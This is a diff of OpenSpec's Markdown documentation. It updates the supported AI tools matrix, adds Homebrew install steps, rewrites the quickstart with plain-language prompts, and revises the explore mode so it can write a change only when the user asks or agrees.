@@ -35,7 +35,7 @@ The id goes to `openspec init --tools <id>` to skip the picker ([CLI](cli.md)).
|
||||
| Hermes Agent | `hermes` | `.hermes/skills/` | `/openspec-apply-change` | none | none |
|
||||
| iFlow | `iflow` | `.iflow/skills/` | `/openspec-apply-change` | `.iflow/commands/` | `/opsx-apply` |
|
||||
| Junie | `junie` | `.junie/skills/` | `/openspec-apply-change` | `.junie/commands/` | `/opsx-apply` |
|
||||
| Kilo Code | `kilocode` | `.kilocode/skills/` | `/openspec-apply-change` | `.kilocode/workflows/` | `/opsx-apply` |
|
||||
| Kilo Code | `kilocode` | `.kilocode/skills/` | `/openspec-apply-change` | `.kilo/command/` | `/opsx-apply` |
|
||||
| Kimi Code | `kimi` | `.kimi-code/skills/` | `/skill:openspec-apply-change` | none | none |
|
||||
| Kiro | `kiro` | `.kiro/skills/` | `/openspec-apply-change` | `.kiro/prompts/` | `/opsx-apply` |
|
||||
| Lingma | `lingma` | `.lingma/skills/` | `/openspec-apply-change` | `.lingma/commands/opsx/` | `/opsx:apply` |
|
||||
@@ -49,7 +49,7 @@ The id goes to `openspec init --tools <id>` to skip the picker ([CLI](cli.md)).
|
||||
| Trae | `trae` | `.trae/skills/` | `/openspec-apply-change` | `.trae/commands/` | `/opsx-apply` |
|
||||
| ZCode | `zcode` | `.zcode/skills/` | `/openspec-apply-change` | `.zcode/commands/opsx/` | `/opsx:apply` |
|
||||
| Zoo Code | `roocode` | `.roo/skills/` | `/openspec-apply-change` | `.roo/commands/` | `/opsx-apply` |
|
||||
| Shared `.agents` skills | `agents` | `.agents/skills/` | `/openspec-apply-change` | none | none |
|
||||
| Other / Universal | `agents` | `.agents/skills/` | `/openspec-apply-change` | none | none |
|
||||
|
||||
- **Skill invocation**: whether a tool registers skills as typed entries is the tool's
|
||||
own behavior. The column shows the spelling OpenSpec uses in generated files and in
|
||||
@@ -80,8 +80,12 @@ Skills stay in `.cline/skills/`.
|
||||
|
||||
### Codex
|
||||
|
||||
- **Invocation**: type `$openspec-<skill>`. Codex does not recognize the
|
||||
`/openspec-<skill>` form ([upstream issue](https://github.com/openai/codex/issues/11817)).
|
||||
- **CLI and IDE extension**: mention `$openspec-propose` with your idea, or run
|
||||
`/skills` to select the skill. Codex does not recognize `/openspec-propose`
|
||||
([upstream issue](https://github.com/openai/codex/issues/11817)).
|
||||
- **Desktop app**: open Skills in the sidebar and select `openspec-propose`.
|
||||
[OpenAI's skills documentation](https://learn.chatgpt.com/docs/build-skills)
|
||||
describes both interfaces.
|
||||
- **No command files**: Codex runs skills directly, so init skips commands even when
|
||||
delivery includes them and prints `Commands skipped for: codex (uses skills)`.
|
||||
- **Shared folder**: Codex skills land in `.agents/skills/`, the same tree Antigravity,
|
||||
@@ -102,8 +106,13 @@ Skills stay in `.cline/skills/`.
|
||||
|
||||
### GitHub Copilot
|
||||
|
||||
Prompt files register as slash commands in the Copilot IDE extensions (VS Code,
|
||||
JetBrains, Visual Studio). Copilot CLI does not read `.github/prompts/`.
|
||||
- **IDE extensions (command delivery)**: VS Code, JetBrains, and Visual Studio load
|
||||
`.github/prompts/opsx-<id>.prompt.md` as `/opsx-<id>`. If a command disappears
|
||||
while its file still exists, restart the IDE.
|
||||
- **Copilot CLI (skill delivery)**: the CLI ignores `.github/prompts/` and loads
|
||||
`.github/skills/openspec-*/SKILL.md` instead. Invoke a skill as
|
||||
`/openspec-<skill>`. If a skill disappears while its file still exists, run
|
||||
`/skills reload`, then `/skills info openspec-propose` to confirm discovery.
|
||||
|
||||
### Hermes Agent
|
||||
|
||||
@@ -118,10 +127,13 @@ init prints this reminder after install.
|
||||
- **Safe across projects**: a commands-only delivery leaves the global skills in
|
||||
place, so one project's setting cannot remove skills another project uses.
|
||||
|
||||
### Shared `.agents` skills
|
||||
### Other / Universal (shared `.agents` skills)
|
||||
|
||||
- **When it fits**: any tool that reads the shared `.agents/skills/` folder,
|
||||
including tools with no row in the matrix.
|
||||
including tools with no row in the matrix. It is the entry to pick when your
|
||||
assistant is not listed. The init picker's search box finds it by `universal`,
|
||||
`other`, `generic`, `custom`, `proprietary`, `unlisted`, `unsupported`,
|
||||
`vendor-neutral`, or `agents.md`.
|
||||
- **Alongside other targets**: Antigravity, Codex, Zed Agent, and this target share
|
||||
one physical skill tree. OpenSpec records one writer in `.openspec-target` and
|
||||
writes the tree once per run. Each tool's separate command files are still
|
||||
|
||||
@@ -5,7 +5,9 @@
|
||||
|
||||
## Prerequisites
|
||||
|
||||
OpenSpec is a Node.js CLI. You need version 20.19.0 or newer.
|
||||
OpenSpec runs on Node.js 20.19.0 or newer. Homebrew installs Node.js as a
|
||||
dependency, and the Nix package includes the runtime. Check your installed version
|
||||
before using another install method.
|
||||
|
||||
In your terminal:
|
||||
|
||||
@@ -13,7 +15,9 @@ In your terminal:
|
||||
node --version
|
||||
```
|
||||
|
||||
If that prints `v20.19.0` or higher, you're set. If not, install a newer Node from [nodejs.org](https://nodejs.org) or through your version manager (nvm, fnm, asdf, volta).
|
||||
If that prints `v20.19.0` or higher, you're set. If not, install a newer Node from
|
||||
[nodejs.org](https://nodejs.org) or through your version manager (nvm, fnm, asdf,
|
||||
volta). You can skip this check when you install with Homebrew or Nix.
|
||||
|
||||
The workflow itself runs inside an AI coding tool: Claude Code, Cursor, or any other tool on the [supported list](../reference/supported-tools.md).
|
||||
|
||||
@@ -53,6 +57,16 @@ In your terminal:
|
||||
npm install -g @fission-ai/openspec@latest
|
||||
```
|
||||
|
||||
### Homebrew
|
||||
|
||||
Homebrew installs OpenSpec and its Node.js dependency on macOS or Linux. In your terminal:
|
||||
|
||||
```bash
|
||||
brew install openspec
|
||||
```
|
||||
|
||||
The formula is published in [homebrew-core](https://formulae.brew.sh/formula/openspec), so you don't need to add a tap.
|
||||
|
||||
### Yarn
|
||||
|
||||
`yarn global add` is Yarn Classic (1.x) only. Modern Yarn removed global installs, so use npm, pnpm, or bun instead. A global CLI doesn't have to share your project's package manager.
|
||||
@@ -94,6 +108,11 @@ That leaves nothing on your PATH, so there's no install to check afterward.
|
||||
|
||||
To put OpenSpec in a project dev shell instead, add the flake as an input and use its default package; [flake.nix](https://github.com/Fission-AI/OpenSpec/blob/main/flake.nix) lists the outputs.
|
||||
|
||||
The Nix package ships the Bash, Fish, and Zsh completion scripts at the standard
|
||||
locations (`share/bash-completion/completions`, `share/fish/vendor_completions.d`,
|
||||
`share/zsh/site-functions`), so they load with the package and there is no need to run
|
||||
`openspec completion install`.
|
||||
|
||||
### Check it worked
|
||||
|
||||
Whichever method you used, in your terminal:
|
||||
@@ -118,7 +137,7 @@ When a newer CLI is out, [`openspec update`](../reference/cli.md#openspec-update
|
||||
|
||||
|
||||
> [!WARNING]
|
||||
> On Deno, re-run the [Deno install](#deno) with `-f`; it won't overwrite the installed command without it. On Nix, use `nix profile upgrade openspec`.
|
||||
> On Homebrew, run `brew upgrade openspec`. On Deno, re-run the [Deno install](#deno) with `-f`; it won't overwrite the installed command without it. On Nix, use `nix profile upgrade openspec`.
|
||||
|
||||
> [!NOTE]
|
||||
> A global npm install belongs to one Node installation. Switch Node versions with nvm and the `openspec` command doesn't come along, so install it again under the new version.
|
||||
@@ -139,7 +158,7 @@ openspec completion uninstall
|
||||
npm uninstall -g @fission-ai/openspec
|
||||
```
|
||||
|
||||
On Deno: `deno uninstall --global openspec`. On Nix: `nix profile remove openspec`. Your shell should no longer find `openspec`.
|
||||
On Homebrew: `brew uninstall openspec`. On Deno: `deno uninstall --global openspec`. On Nix: `nix profile remove openspec`. Your shell should no longer find `openspec`.
|
||||
|
||||
**3. Delete what's left, or keep it.**
|
||||
|
||||
|
||||
@@ -1,9 +1,19 @@
|
||||
# Quickstart
|
||||
|
||||
> Your first change on your existing repo, from idea to archived.
|
||||
> Your first change, from idea to archived, in a new or existing project.
|
||||
|
||||
Before you start, you need the CLI on your machine ([Installation](installation.md)) and OpenSpec initialized in your project ([Set up your project](setup.md)).
|
||||
|
||||
## Start from an empty project
|
||||
|
||||
You can start without a chosen stack or a complete architecture. Initialize OpenSpec in your project folder, then ask your agent to explore the options with you. In your AI chat:
|
||||
|
||||
```text
|
||||
Help me explore a task tracker from scratch. I have not picked a stack. Compare the options and help me choose the first behavior to build.
|
||||
```
|
||||
|
||||
Decide what the first change needs and leave later architecture choices open. Ask your agent to propose that one change, then follow the steps below. You can revisit the architecture as the project grows.
|
||||
|
||||
## The loop at a glance
|
||||
|
||||
Every change moves through the same five steps: you think the idea through with your agent, it drafts a plan, you correct the plan before any code exists, the agent builds from it, and archiving updates your specs with what shipped.
|
||||
@@ -17,22 +27,22 @@ flowchart LR
|
||||
archive -. "next change" .-> explore
|
||||
```
|
||||
|
||||
Every prompt below goes in your AI chat, the same place you ask for code. Each invokes an OpenSpec skill by name, the same spelling in every tool. A plain ask works too ("propose a change to add rate limiting"). Some tools add shorter command aliases (`/opsx:propose` in Claude Code, [other tools vary](../reference/supported-tools.md)).
|
||||
Every prompt below goes in your AI chat, the same place you ask for code. The examples use plain language so they work across tools. You can also invoke a skill directly; the syntax varies by tool ([supported tools](../reference/supported-tools.md)).
|
||||
|
||||
## Step 1: Explore
|
||||
|
||||
Think the idea through with your agent before you ask for a plan. In your AI chat:
|
||||
|
||||
```text
|
||||
/openspec-explore how rate limiting should work in this app
|
||||
Help me explore how rate limiting should work in this app.
|
||||
```
|
||||
|
||||
Explore is a thinking mode. The agent investigates your codebase, asks the questions that matter, sketches options, and challenges assumptions. It writes no code and no files. The output is a sharper idea.
|
||||
Explore is a thinking mode. The agent investigates your codebase, asks the questions that matter, sketches options, and challenges assumptions. It never writes code. It writes nothing else unless you ask it to capture what you decided, or say yes when it offers. The output is a sharper idea.
|
||||
|
||||
Stay here as long as the problem needs. When the shape feels right, hand it off:
|
||||
|
||||
```text
|
||||
/openspec-propose
|
||||
Propose the change we just discussed.
|
||||
```
|
||||
|
||||
That line starts propose for you, carrying everything you settled. Skip the first prompt in step 2.
|
||||
@@ -42,7 +52,7 @@ That line starts propose for you, carrying everything you settled. Skip the firs
|
||||
Propose turns the idea into a reviewable plan. Coming from explore, it's already running. Starting cold, when the change is clear in your head, ask directly. In your AI chat:
|
||||
|
||||
```text
|
||||
/openspec-propose add rate limiting
|
||||
Propose a change to add rate limiting.
|
||||
```
|
||||
|
||||
The agent asks what it needs to, then writes a change folder:
|
||||
@@ -75,7 +85,7 @@ To fix something, either works:
|
||||
Apply turns the plan into code. Start a fresh chat session, since implementation goes better on a clean context window. In your AI chat:
|
||||
|
||||
```text
|
||||
/openspec-apply-change add-rate-limiting
|
||||
Apply the add-rate-limiting change.
|
||||
```
|
||||
|
||||
The agent reads the change folder, then works through `tasks.md`, checking off each task as it lands.
|
||||
@@ -91,7 +101,7 @@ Archiving does two things: it updates your main specs with the change's requirem
|
||||
When every box in `tasks.md` is checked, in your AI chat:
|
||||
|
||||
```text
|
||||
/openspec-archive-change add-rate-limiting
|
||||
Archive the add-rate-limiting change.
|
||||
```
|
||||
|
||||
Step through what archiving does:
|
||||
@@ -146,14 +156,11 @@ Step through what archiving does:
|
||||
└── 2026-08-08-add-rate-limiting/
|
||||
```
|
||||
|
||||
Git is a separate concern. Commit the change folder with the code, and nothing else about your workflow changes. When to archive relative to a PR is a team convention; the [Teams](../guides/teams.md) guide has the tradeoff.
|
||||
Git is a separate concern. Commit the change folder with the code, and nothing else about your workflow changes.
|
||||
|
||||
## Going further
|
||||
|
||||
- [Concepts](../guides/concepts.md): what the two artifacts are, and how a delta describes a change.
|
||||
- [Explore](../guides/explore.md): getting more out of explore mode.
|
||||
- [Apply](../guides/apply.md): pacing, context windows, resuming long changes.
|
||||
- [Review the plan](../guides/review-the-plan.md): what to look for in specs before you build.
|
||||
- [Delta specs](../reference/schemas/spec-driven/index.md#delta-specs-specmd): how to write the behavior changes in a delta spec.
|
||||
- [Profiles](../customize/profiles.md): optional workflows beyond the core set (verify before archive, incremental planning).
|
||||
|
||||
## Advanced guides
|
||||
|
||||
+24
-2
@@ -41,7 +41,7 @@ Running init creates two things in your project:
|
||||
- An `openspec/` folder at the repo root
|
||||
- Workflow files (skills and commands) added to your AI tool's folder (`.agents/`, `.claude/`, etc.)
|
||||
|
||||
Commit all of it like the rest of your source ([FAQ](../help/faq.md) covers why). Init changes nothing else in your repo (if it finds leftovers from an older OpenSpec version, it asks before cleaning them up).
|
||||
Commit all of it like the rest of your source. Init changes nothing else in your repo (if it finds leftovers from an older OpenSpec version, it asks before cleaning them up).
|
||||
|
||||
### The `openspec/` folder
|
||||
|
||||
@@ -55,7 +55,7 @@ openspec/
|
||||
└── archive/ completed changes move here
|
||||
```
|
||||
|
||||
[Concepts](../guides/concepts.md) explains both artifacts; [Project config](../customize/project-config.md) covers `config.yaml`.
|
||||
[Project config](../customize/project-config.md) covers `config.yaml`.
|
||||
|
||||
### The workflow files (skills and commands)
|
||||
|
||||
@@ -112,4 +112,26 @@ Config changes:
|
||||
|
||||
Answering yes applies it to the current project on the spot. Other projects pick it up on their next `openspec update`. The setting is global, per machine.
|
||||
|
||||
#### Claude Code doesn't show the workflows
|
||||
|
||||
Claude Code loads OpenSpec workflows from one or both of these project paths, based on your delivery setting:
|
||||
|
||||
- **Skills**: `.claude/skills/openspec-*/SKILL.md`
|
||||
- **Commands**: `.claude/commands/opsx/<id>.md`
|
||||
|
||||
If the files are missing, refresh the project. In your terminal:
|
||||
|
||||
```bash
|
||||
openspec update
|
||||
```
|
||||
|
||||
If the command files exist but `/opsx:` shows no OpenSpec commands, update Claude Code and restart it. If commands still don't load, enable skills too. In your terminal:
|
||||
|
||||
```bash
|
||||
openspec config set delivery both
|
||||
openspec update
|
||||
```
|
||||
|
||||
Restart Claude Code, then run `/openspec-propose` in its chat. If only some workflows are missing, [change your profile](../customize/profiles.md#expanding-the-set-optional-workflows).
|
||||
|
||||
Setup is done. The [Quickstart](quickstart.md) takes your first change from here.
|
||||
|
||||
+1
-1
@@ -11,7 +11,7 @@ If you read nothing else, read these two pages:
|
||||
|
||||
That second one matters more than it looks. OpenSpec has two halves: a command line tool you run in your terminal, and slash commands you give to your AI assistant. Knowing which is which saves you the most common moment of confusion.
|
||||
|
||||
> **The best habit to build first: when you're not sure what to build, start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your code, weighs options, and sharpens a fuzzy idea into a concrete plan before any artifact or code exists. The [Explore First](explore.md) guide makes the case.
|
||||
> **The best habit to build first: when you're not sure what to build, start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your code, weighs options, and sharpens a fuzzy idea into a concrete plan before any code gets written. The [Explore First](explore.md) guide makes the case.
|
||||
|
||||
## Pick your path
|
||||
|
||||
|
||||
@@ -47,7 +47,9 @@ deliberately remains the compatibility bare array documented in §4.13:
|
||||
## 4. Command JSON shapes
|
||||
|
||||
### 4.1 `list --json`
|
||||
`{ "changes": [ { "name", "completedTasks", "totalTasks", "lastModified", "status": "no-tasks"|"complete"|"in-progress" } ], "root": RootOutput }` — note the per-change `status` is a string enum here. `--specs`: `{ "specs": [ { "id", "requirementCount" } ], "root" }`.
|
||||
`{ "changes": [ { "name", "completedTasks", "totalTasks", "lastModified", "status": "no-tasks"|"complete"|"in-progress", "nested"?: ["<area>/<name>", ...] } ], "warnings"?: [ { "code", "name", "nested", "message" } ], "root": RootOutput }` — note the per-change `status` is a string enum here. `--specs`: `{ "specs": [ { "id", "requirementCount" } ], "root" }`.
|
||||
|
||||
`warnings` (omitted when empty) reports directories under `changes/` that are not changes. Today the only code is `nested_change_directory`: a namespace folder wrapping change directories, which OpenSpec cannot address because a change is always a directory directly under `changes/`. The same entry carries `nested` on the listed change, whose `status` is then meaningless. Do not treat such an entry as a change; report the message and leave the directories alone.
|
||||
|
||||
### 4.2 `show <item> --json`
|
||||
Change: `{ "id", "title", "deltaCount", "deltas": [...], "root" }`. Spec: `{ "id", "title", "overview", "requirementCount", "requirements": [...], "metadata": { "version", "format", "sourcePath"? }, "root" }`.
|
||||
@@ -110,7 +112,7 @@ setup/register: `{ "store": {id, root, metadata_path?}, "registry": {path, regis
|
||||
`invalid_store_id`, `invalid_store_registry`, `invalid_store_metadata`, `store_registry_busy`, `store_not_found`, `no_store_registry`, `store_registry_changed`, `store_metadata_missing`, `store_metadata_id_mismatch`, `store_metadata_invalid`, `store_id_conflict`, `store_path_conflict`, `store_already_registered` (info).
|
||||
|
||||
### Store setup/register/remove
|
||||
`store_setup_id_required`, `store_setup_path_required`, `store_setup_path_not_directory`, `store_setup_inside_git_repo`, `store_setup_non_empty_directory`, `store_setup_cancelled`, `store_path_required`, `store_path_missing`, `store_path_not_directory`, `store_root_pointer_declared`, `store_register_root_unhealthy`, `store_register_identity_confirmation_required`, `store_register_cancelled`, `store_remote_empty`, `store_remote_requires_hand_edit`, `store_remove_confirmation_required`, `store_remove_cancelled`, `store_remove_path_not_directory`, `store_remove_metadata_missing`, `store_root_missing` (warning in remove, error in doctor), `store_root_not_directory`.
|
||||
`store_setup_id_required`, `store_setup_path_required`, `store_setup_path_not_directory`, `store_setup_inside_git_repo`, `store_setup_non_empty_directory`, `store_setup_cancelled`, `store_path_required`, `store_path_missing`, `store_path_not_directory`, `store_root_pointer_declared`, `store_register_root_unhealthy`, `store_register_identity_confirmation_required`, `store_register_cancelled`, `store_remote_empty`, `store_remote_requires_hand_edit`, `store_remove_confirmation_required`, `store_remove_cancelled`, `store_remove_path_not_directory`, `store_remove_metadata_missing`, `store_remove_contains_registered_store`, `store_root_missing` (warning in remove, error in doctor), `store_root_not_directory`.
|
||||
|
||||
### Store git
|
||||
`store_git_init_failed`, `store_git_identity_missing`, `store_git_commit_failed`, `store_git_no_commits` (warning), `store_clone_fragile_directories` (warning), `store_remote_divergence` (info, doctor), `store_checkout_drift` (info, doctor).
|
||||
|
||||
+19
-6
@@ -78,7 +78,7 @@ AI: Created openspec/changes/add-dark-mode/
|
||||
|
||||
### `/opsx:explore`
|
||||
|
||||
> **Start here when you're unsure.** Explore is a no-stakes thinking partner: it reads your codebase, compares options, and sharpens a fuzzy idea into a concrete plan before any change exists. It ships in the default profile. For the full case and more examples, see the [Explore First](explore.md) guide.
|
||||
> **Start here when you're unsure.** Explore is a no-stakes thinking partner: it reads your codebase, compares options, and sharpens a fuzzy idea into a concrete plan before any code gets written. It ships in the default profile. For the full case and more examples, see the [Explore First](explore.md) guide.
|
||||
|
||||
Think through ideas, investigate problems, and clarify requirements before committing to a change.
|
||||
|
||||
@@ -97,6 +97,7 @@ Think through ideas, investigate problems, and clarify requirements before commi
|
||||
- Investigates the codebase to answer questions
|
||||
- Compares options and approaches
|
||||
- Creates visual diagrams to clarify thinking
|
||||
- Captures the exploration when you ask, or when you say yes to its offer: scaffolds a change with `openspec new change` and writes the planning artifacts you name, or updates an existing change's artifacts
|
||||
- Can transition to `/opsx:propose` (default) or `/opsx:new` (expanded workflow) when insights crystallize
|
||||
|
||||
**Example:**
|
||||
@@ -119,14 +120,20 @@ AI: Let me investigate your current auth setup...
|
||||
|
||||
Your API already has CORS configured. Which direction interests you?
|
||||
|
||||
You: Let's go with JWT. Can we start a change for that?
|
||||
You: Let's go with JWT.
|
||||
|
||||
AI: Ready when you are. Run /opsx:propose add-jwt-auth to begin.
|
||||
AI: That's a decision worth keeping. Want me to start a change called
|
||||
add-jwt-auth? Just the change folder, nothing else yet.
|
||||
|
||||
You: Yes.
|
||||
|
||||
AI: Started openspec/changes/add-jwt-auth/. Say the word and I'll
|
||||
write the proposal, specs, and tasks from what we just worked out.
|
||||
```
|
||||
|
||||
**Tips:**
|
||||
- Use when requirements are unclear or you need to investigate
|
||||
- No artifacts are created during exploration
|
||||
- It never writes code, and writes nothing else unless you ask, or say yes when it offers
|
||||
- Good for comparing multiple approaches before deciding
|
||||
- Can read files and search the codebase
|
||||
|
||||
@@ -345,7 +352,13 @@ Revise a change's existing planning artifacts and keep them coherent with one an
|
||||
- Applies your requested revision, or reviews the artifacts for contradictions if you didn't name one
|
||||
- Reconciles the other existing artifacts in any direction (a design edit may ripple back to the proposal)
|
||||
- Confirms every edit with you before writing, one artifact at a time
|
||||
- Ends by recommending the next step: `/opsx:continue` (artifacts missing), `/opsx:apply` (carry a revised plan into code), or `/opsx:archive` (all done)
|
||||
- Ends by recommending the next step: `/opsx:continue` (unstarted artifacts), `/opsx:apply` (carry a revised plan into code), or `/opsx:archive` (all done)
|
||||
|
||||
**Missing files:**
|
||||
|
||||
- For a glob artifact such as `specs/**/*.md` with at least one existing file, update can propose a missing companion file. It uses the schema's instructions and asks you to confirm the concrete path before creating it.
|
||||
- Artifacts with no files yet remain with `/opsx:continue`. Intentionally skipped artifacts stay untouched.
|
||||
- New files must stay inside the change directory. If a file appears at the confirmed path before creation, update stops instead of overwriting it.
|
||||
|
||||
**Example:**
|
||||
|
||||
@@ -366,7 +379,7 @@ AI: Reading add-dark-mode artifacts...
|
||||
|
||||
**Tips:**
|
||||
|
||||
- It won't create missing artifacts - that's `/opsx:continue`
|
||||
- It won't start an artifact with no existing files. Enable `/opsx:continue` for that, or use `openspec status` and `openspec instructions` if that optional workflow isn't installed.
|
||||
- If the change was already implemented, follow up with `/opsx:apply` so the code matches the revised plan
|
||||
- If your revision changes the *intent* of the change, start fresh with a new change instead (see [When to Update vs. Start Fresh](opsx.md#when-to-update-vs-start-fresh))
|
||||
|
||||
|
||||
+2
-1
@@ -6,7 +6,8 @@ Listed projects are maintained independently. Inclusion does not imply official
|
||||
|
||||
## Projects and resources
|
||||
|
||||
- **[OpenSpec UI](https://github.com/VeryComplexAndLongName/OpenSpec-UI)**: A standalone web dashboard and VS Code extension for browsing OpenSpec changes, archives, specs, and tasks.
|
||||
- **[OpenSpec Workbench](https://github.com/VeryComplexAndLongName/OpenSpec-UI)**: Running and supervising agents on OpenSpec changes.
|
||||
- **[openspec-guard](https://github.com/guillaume-flambard/spec-guard)**: CLI and GitHub Action that reports which OpenSpec scenarios are covered by a Vitest or Jest test, without running the tests.
|
||||
|
||||
## Add your project
|
||||
|
||||
|
||||
@@ -341,6 +341,8 @@ Tasks are the **implementation checklist** — concrete steps with checkboxes.
|
||||
- Group related tasks under headings
|
||||
- Use hierarchical numbering (1.1, 1.2, etc.)
|
||||
- Keep tasks small enough to complete in one session
|
||||
- State how each task is verified (a test, command, or observable result)
|
||||
- Land the tests and documentation each group's work calls for inside that group, not in a final catch-up group
|
||||
- Check tasks off as you complete them
|
||||
|
||||
## Delta Specs
|
||||
|
||||
+1
-1
@@ -68,7 +68,7 @@ Tip: for a fix, a good scenario is the regression test in prose. "GIVEN a logged
|
||||
|
||||
**When to use it:** you have a problem but not yet a plan. You're not sure what to build, or which approach is right.
|
||||
|
||||
Start with `/opsx:explore`. It's a thinking partner with no structure and no artifacts created. It reads your codebase and helps you decide.
|
||||
Start with `/opsx:explore`. It's a thinking partner with no structure. It never writes code, and writes nothing else unless you ask it to capture what you decided, or say yes when it offers. It reads your codebase and helps you decide.
|
||||
|
||||
```text
|
||||
You: /opsx:explore
|
||||
|
||||
+12
-6
@@ -1,6 +1,6 @@
|
||||
# Explore First
|
||||
|
||||
**`/opsx:explore` is your thinking partner. Reach for it whenever you have a problem but not yet a plan.** It investigates your codebase, weighs options with you, and clarifies what you actually want, all before a single artifact or line of code is created. When the picture is clear, it hands off to `/opsx:propose`.
|
||||
**`/opsx:explore` is your thinking partner. Reach for it whenever you have a problem but not yet a plan.** It investigates your codebase, weighs options with you, and clarifies what you actually want, all before a line of code is written. When the picture is clear, it hands off to `/opsx:propose`.
|
||||
|
||||
If you take one habit from these docs, take this one: **when you're not sure, explore before you propose.**
|
||||
|
||||
@@ -27,14 +27,16 @@ Explore is a **conversation**, not a generator.
|
||||
- Compare options and name the tradeoffs of each.
|
||||
- Draw diagrams to make a design legible.
|
||||
- Help you narrow a vague idea into a concrete, buildable scope.
|
||||
- Capture the exploration when you ask, or when you accept its offer: it scaffolds the change with `openspec new change` and writes the planning artifacts you named, or updates an existing change's artifacts.
|
||||
- Transition to `/opsx:propose` when you're ready.
|
||||
|
||||
**It does not:**
|
||||
- Create a change folder.
|
||||
- Write any artifacts (no proposal, specs, design, or tasks).
|
||||
- Write or modify code.
|
||||
- Write or modify code. Explore never writes code, on any path, capture included.
|
||||
- Design or edit your schemas or templates. Shaping those is a change, not thinking.
|
||||
- Start a change or write an artifact on its own. It writes nothing unless you ask, or say yes when it offers, and then only what you agreed to, plus the setup files starting a change needs (see below).
|
||||
- Push you toward capturing. It offers when the thinking crystallizes; you decide.
|
||||
|
||||
That's the point. Exploring costs you nothing and commits you to nothing. You can explore three dead ends, learn something from each, and only then propose the path that survived.
|
||||
That's the point. Exploring costs you nothing and commits you to nothing until you say so. You can explore three dead ends, learn something from each, and only then propose the path that survived.
|
||||
|
||||
## It's already installed
|
||||
|
||||
@@ -95,6 +97,10 @@ explore ──► propose ──► apply ──► archive
|
||||
|
||||
You can say it in plain language ("let's turn this into a change") or run `/opsx:propose <name>` directly. Either way, the exploration you just did becomes the foundation of the proposal, not throwaway chat.
|
||||
|
||||
You can also ask explore to capture the change itself, without leaving the conversation: "start a change for this" scaffolds the folder, and "write the proposal too" writes exactly the artifacts you named. Scaffolding also lays down the change's own metadata, and fills in anything your project is missing at the top level (`openspec/specs/`, `openspec/changes/archive/`, a `config.yaml`).
|
||||
|
||||
That's the same destination as handing off, with one difference: propose writes the whole set your schema requires to reach implementation, while capture writes only the artifacts you named.
|
||||
|
||||
If you use the expanded command set, explore can hand off to `/opsx:new` instead, for step-by-step artifact creation. See [Workflows](workflows.md).
|
||||
|
||||
## Tips for a good exploration
|
||||
@@ -107,7 +113,7 @@ If you use the expanded command set, explore can hand off to `/opsx:new` instead
|
||||
|
||||
## The honest tradeoffs
|
||||
|
||||
**What you gain:** explore catches wrong turns at the cheapest possible moment, before any artifact exists. It's especially powerful in unfamiliar code, where the AI's ability to read and summarize the system saves you an afternoon of spelunking.
|
||||
**What you gain:** explore catches wrong turns at the cheapest possible moment, before you've committed to anything. It's especially powerful in unfamiliar code, where the AI's ability to read and summarize the system saves you an afternoon of spelunking.
|
||||
|
||||
**What it costs:** a little patience. Explore is a conversation, so it's slower than firing off `/opsx:propose` and hoping. For work you genuinely understand already, that extra step is pure overhead, and you should skip it.
|
||||
|
||||
|
||||
+1
-1
@@ -50,7 +50,7 @@ Both are files OpenSpec writes so your assistant can run the workflow. Skills (`
|
||||
|
||||
### Where should I start if I'm not sure what to build?
|
||||
|
||||
With `/opsx:explore`. It's a no-stakes thinking partner that reads your codebase, lays out options, and turns a fuzzy problem into a concrete plan, all before any change or code exists. It's in the default profile, so it's always available. When the plan is clear, it hands off to `/opsx:propose`. This is the single best habit to form, because it stops an eager AI from confidently building the wrong thing. See [Explore First](explore.md).
|
||||
With `/opsx:explore`. It's a no-stakes thinking partner that reads your codebase, lays out options, and turns a fuzzy problem into a concrete plan, all before any code gets written. It's in the default profile, so it's always available. When the plan is clear, it hands off to `/opsx:propose`. This is the single best habit to form, because it stops an eager AI from confidently building the wrong thing. See [Explore First](explore.md).
|
||||
|
||||
### What's the simplest possible flow?
|
||||
|
||||
|
||||
@@ -26,7 +26,7 @@ Two terminal steps to set up, then you live in chat. The rest of this guide unpa
|
||||
|
||||
**Don't want to do the terminal part yourself?** Paste the [setup prompt](installation.md#install-with-your-ai-assistant) into your assistant and it handles both lines, then reports what it created.
|
||||
|
||||
> **Not sure what to build yet? Start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your codebase, weighs options, and sharpens a fuzzy idea into a concrete plan, all before any artifact or code exists. When the picture is clear, it hands off to `/opsx:propose`. This is the single best habit for working with an AI that will otherwise confidently build the wrong thing. See the [Explore guide](explore.md).
|
||||
> **Not sure what to build yet? Start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your codebase, weighs options, and sharpens a fuzzy idea into a concrete plan, all before any code gets written. When the picture is clear, it hands off to `/opsx:propose`. This is the single best habit for working with an AI that will otherwise confidently build the wrong thing. See the [Explore guide](explore.md).
|
||||
|
||||
## How It Works
|
||||
|
||||
|
||||
+1
-1
@@ -46,7 +46,7 @@ Terms are grouped by topic, then alphabetized within each group.
|
||||
|
||||
**Slash command.** A command you type into your AI assistant's chat, like `/opsx:propose`. Slash commands drive the workflow. They are not terminal commands. See [How Commands Work](how-commands-work.md).
|
||||
|
||||
**Explore (`/opsx:explore`).** The thinking-partner command. It reads your codebase, compares options, and clarifies a fuzzy idea into a concrete plan, creating no artifacts and writing no code. The recommended starting point whenever you have a problem but not yet a plan. See [Explore First](explore.md).
|
||||
**Explore (`/opsx:explore`).** The thinking-partner command. It reads your codebase, compares options, and clarifies a fuzzy idea into a concrete plan. It never writes code, and writes nothing else unless you ask it to capture the exploration as a change, or say yes when it offers. The recommended starting point whenever you have a problem but not yet a plan. See [Explore First](explore.md).
|
||||
|
||||
**CLI.** The `openspec` program you run in your terminal. It sets up projects, lists and validates changes, opens the dashboard, and archives. The terminal half of OpenSpec. See [CLI](cli.md).
|
||||
|
||||
|
||||
+3
-1
@@ -213,7 +213,9 @@ Works through tasks, checking them off as you go. If you're juggling multiple ch
|
||||
```
|
||||
/opsx:update add-dark-mode - we're storing the theme in a cookie now
|
||||
```
|
||||
Revises the change's existing planning artifacts and keeps them coherent - in any direction (a design edit may ripple back to the proposal). Planning artifacts only: it never edits code, and it never creates missing artifacts (that's `/opsx:continue`). Every edit is confirmed with you first. If the change was already implemented, it recommends `/opsx:apply` so the code catches up with the revised plan. If your revision changes the change's *intent*, start fresh instead - see [When to Update vs. Start Fresh](#when-to-update-vs-start-fresh).
|
||||
